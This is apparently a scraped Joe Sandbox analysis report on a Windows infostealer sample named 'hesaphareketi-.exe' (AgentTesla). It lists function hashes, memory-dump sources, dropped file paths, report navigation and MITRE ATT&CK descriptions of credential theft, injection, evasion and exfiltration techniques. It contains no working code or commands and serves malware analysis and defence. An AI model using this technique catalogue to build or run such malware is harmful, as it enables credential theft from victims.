Opcode ID: be6af55033134ae3de4d9d4e5ede9b61bfc23141a0c4ab07bbca6bc4bc95985f
Instruction ID: 113c9d0bd5ed6bac686addf596522b934174e2cd79e96941b812e78deb95509d
Opcode Fuzzy Hash: be6af55033134ae3de4d9d4e5ede9b61bfc23141a0c4ab07bbca6bc4bc95985f
Instruction Fuzzy Hash: 5421A131E0060A9FDB19DFA5C450ADEBBB2AFC9314F10862AE815F7356DBB09842CB51

Function 01134F51 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1262ef476f4b711a5ccba6369fb71a20691befe9fd47419aa6e90a46dae93456
Instruction ID: 4fbc115614e9be995347c9605d1785fa9dfded8b9c4705d4db11d78c325a4473
Opcode Fuzzy Hash: 1262ef476f4b711a5ccba6369fb71a20691befe9fd47419aa6e90a46dae93456
Instruction Fuzzy Hash: 85215C34700205CFDB58EB79C958B9E7BF2AF89650F104468E802EB3A5EB369D05CB91

Function 00EAD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4488707735.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ead000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb7591b1be9c6adf6dbd32fbabffe21832533ad19a41c71315d76a7645be581
Instruction ID: 262332fc3ce2e0cad93a888a7d73e86c41576d43b4cf24d166ddeb9e32beea22
Opcode Fuzzy Hash: ccb7591b1be9c6adf6dbd32fbabffe21832533ad19a41c71315d76a7645be581
Instruction Fuzzy Hash: AB21F271608204DFCB15DF24D9C4B26BFA6FB89318F20C569D94A5F696C33AE807CA61

Function 01131453 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf2901fee8e5243dd40160b22f33c66267918c98c0b750ae98867bd598abdd71
Instruction ID: d5ee8a8a82e2bc7eb1df2a039bfa34ec760e8c7a3aa95a118919129d1f69c46c
Opcode Fuzzy Hash: bf2901fee8e5243dd40160b22f33c66267918c98c0b750ae98867bd598abdd71
Instruction Fuzzy Hash: 3F219031A002559FCF2AAFBC94502ED7BF5EF88224F1504B9E849E7246E735C842C791

Function 011391E8 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d43b7a376f4d5e2604f48419313ce92cd88d6ff0b90a3fdd38a76e95b6198d2
Instruction ID: 3acc4ef8e7605e18278f10a4a1cd8ef905f6b0d01a1874420c8d78d99f10e648
Opcode Fuzzy Hash: 5d43b7a376f4d5e2604f48419313ce92cd88d6ff0b90a3fdd38a76e95b6198d2
Instruction Fuzzy Hash: 46219F31E0060A9BDB0DCFA9C450A9EF7B2AFC9314F10861AE815FB345DBB0A846CB51

Function 01131850 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27a7b827ea7d3eec3d9f46698d10f267a913f7bd6488ce353c02c70337175292
Instruction ID: 1514e651942bc47390e35c825762b5afc6508b371c6a93e2aa872c0ab48d2b31
Opcode Fuzzy Hash: 27a7b827ea7d3eec3d9f46698d10f267a913f7bd6488ce353c02c70337175292
Instruction Fuzzy Hash: 8F210E30B00205DFDB18EB69C6547AE77F6AF89205F2008A8D506EB368EF35DD41CBA5

Function 01131678 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4da4983172754c710310ec70ce524f6f4803fc423784f19947a70e528fcd5f9
Instruction ID: fd1a7b82f190d4f1f808ae896abaf084a8e50a8a449da0346bc21fcdd0707c9b
Opcode Fuzzy Hash: d4da4983172754c710310ec70ce524f6f4803fc423784f19947a70e528fcd5f9
Instruction Fuzzy Hash: 632160786401415FDB2BFB68E884B6D371AEB85314F144A31D00ACB26EFB74EC49CB91

Function 01134F60 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426e329f8286e1d0899385c3b23f966d7adaa518ce7f4a32df5a0816752dcb13
Instruction ID: a5d7579e0ed012dc8873c1087353584bdf940d58895f98ea3046626cd8f284b9
Opcode Fuzzy Hash: 426e329f8286e1d0899385c3b23f966d7adaa518ce7f4a32df5a0816752dcb13
Instruction Fuzzy Hash: E3212C34700205CFDB58EB79C958B9EB7F6EB88644F104468E406EB365EB36DD05CBA1

Function 0113178B Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eba8b68acc908817225fc077eb75d4bab98ca82ba05b5bc73af7905c8bb630d
Instruction ID: e663054de3acd28475a484cfd590bea77f8e26a2aead114308d8bbb24ed96912
Opcode Fuzzy Hash: 8eba8b68acc908817225fc077eb75d4bab98ca82ba05b5bc73af7905c8bb630d
Instruction Fuzzy Hash: 8E110875F002119FDF16AB78984879E3BF6FB88210F154A66D90AD7348E7358912CB92

Function 00EAD005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4488707735.0000000000EAD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EAD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_ead000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8298508aff8bfd4ebf9339b8808ab847bbc77b0dcd800dc1ebbebbf4c23ef39b
Instruction ID: 6bf88183d10a8bacbd93d5cd80bdff65e12f1a9e788006e0e2bf4147beb561f0
Opcode Fuzzy Hash: 8298508aff8bfd4ebf9339b8808ab847bbc77b0dcd800dc1ebbebbf4c23ef39b
Instruction Fuzzy Hash: 792141755093808FDB12CF24D9D4715BF72EB4A214F28C5DAD8498F6A7C33A980ACB62

Function 01131356 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c54eb415c63562fec3725aa0f80e41edd88165d1c1286e3c811041199f83d83b
Instruction ID: 232fca05de335ff119c0cbf8e8f9befa6d11c5f5dbbc229374fd39616ceabad7
Opcode Fuzzy Hash: c54eb415c63562fec3725aa0f80e41edd88165d1c1286e3c811041199f83d83b
Instruction Fuzzy Hash: 9F11C470A44101ABEF3E276CE88432D3651EBC2321F000D29E40AC73CDDB29DC998742

Function 01130848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79b24961818457524848d9ef0054e85bcbc228c11c7d9509c151651f84782b50
Instruction ID: 4a31d3375ebfd373e5c02a63f5269694fccf1445bf89cee30d7e1e707f257bdf
Opcode Fuzzy Hash: 79b24961818457524848d9ef0054e85bcbc228c11c7d9509c151651f84782b50
Instruction Fuzzy Hash: C6118F30F002048FEF5DAA7DD44472A76D5EFC9214F2049B9F006DB29AEB65CC868BC1

Function 01131460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 707b99654477f9eba70b8c9f721264778b71089571bc6dcc30594e9db29d1729
Instruction ID: 177834f3c3c09ef71a79cf7ebfc5fadcbacf086cd46d8796a5f342125a639d9c
Opcode Fuzzy Hash: 707b99654477f9eba70b8c9f721264778b71089571bc6dcc30594e9db29d1729
Instruction Fuzzy Hash: AE014031B002159FCF29EFB984501AD7BF9EF88214B1504BAE905E7305E735D941CBA2

Function 01138179 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0a31a9520ffb38989791802a089d7fc1ed0fdf729bd87288817903403c2d560
Instruction ID: 96363adf04775461791c15abcbbb3af9af12c9bede6bc365ff8feef299f1a21c
Opcode Fuzzy Hash: f0a31a9520ffb38989791802a089d7fc1ed0fdf729bd87288817903403c2d560
Instruction Fuzzy Hash: 770121309402499FCB06FFB4F945A9D7BB9EF40304F5046A9C004DB25AEA71AE49C751

Function 011314EC Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31829646f45c511f35b8ef49d57db489226dde08fb18e0f6cbf156d2903e7523
Instruction ID: 5f02a8340ce8bee989505da8511745f0e9dafabb8b2fd3fabbaebba450c72fab
Opcode Fuzzy Hash: 31829646f45c511f35b8ef49d57db489226dde08fb18e0f6cbf156d2903e7523
Instruction Fuzzy Hash: 35F02B73E041509BDB298BA884901AC7FA0FEE922571A40D7D845DB25AD725D442C752

Function 01138188 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.4490563665.0000000001130000.00000040.00000800.00020000.00000000.sdmp, Offset: 01130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_1130000_xyodEPhulIrkY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47b5fd34401e91504763e86970dcf5cf71268f9c8ebacc04796dac2ab7abbe5a
Instruction ID: c6e312ee31eb2d37d274fe2d76d73a39c58d31e98e9de7629e60e30cbf51baad
Opcode Fuzzy Hash: 47b5fd34401e91504763e86970dcf5cf71268f9c8ebacc04796dac2ab7abbe5a
Instruction Fuzzy Hash: 6AF0BB349501499FCB06FBB8F945A9D7BB9EF40304F5046A8C005DB259EA71AE49CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hesaphareketi-.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hesaphareketi-.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\xyodEPhulIrkY.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cfqgpxz.v1x.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_15ye2faw.mpy.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dolm201u.snj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ov0lmuqm.vxs.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qz3n45m0.2rv.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgar5f1t.g13.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_szep01iy.4fk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4zglblg.jqn.psm1

C:\Users\user\AppData\Local\Temp\tmpBF7D.tmp

C:\Users\user\AppData\Local\Temp\tmpE555.tmp

Windows Analysis Report
hesaphareketi-.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre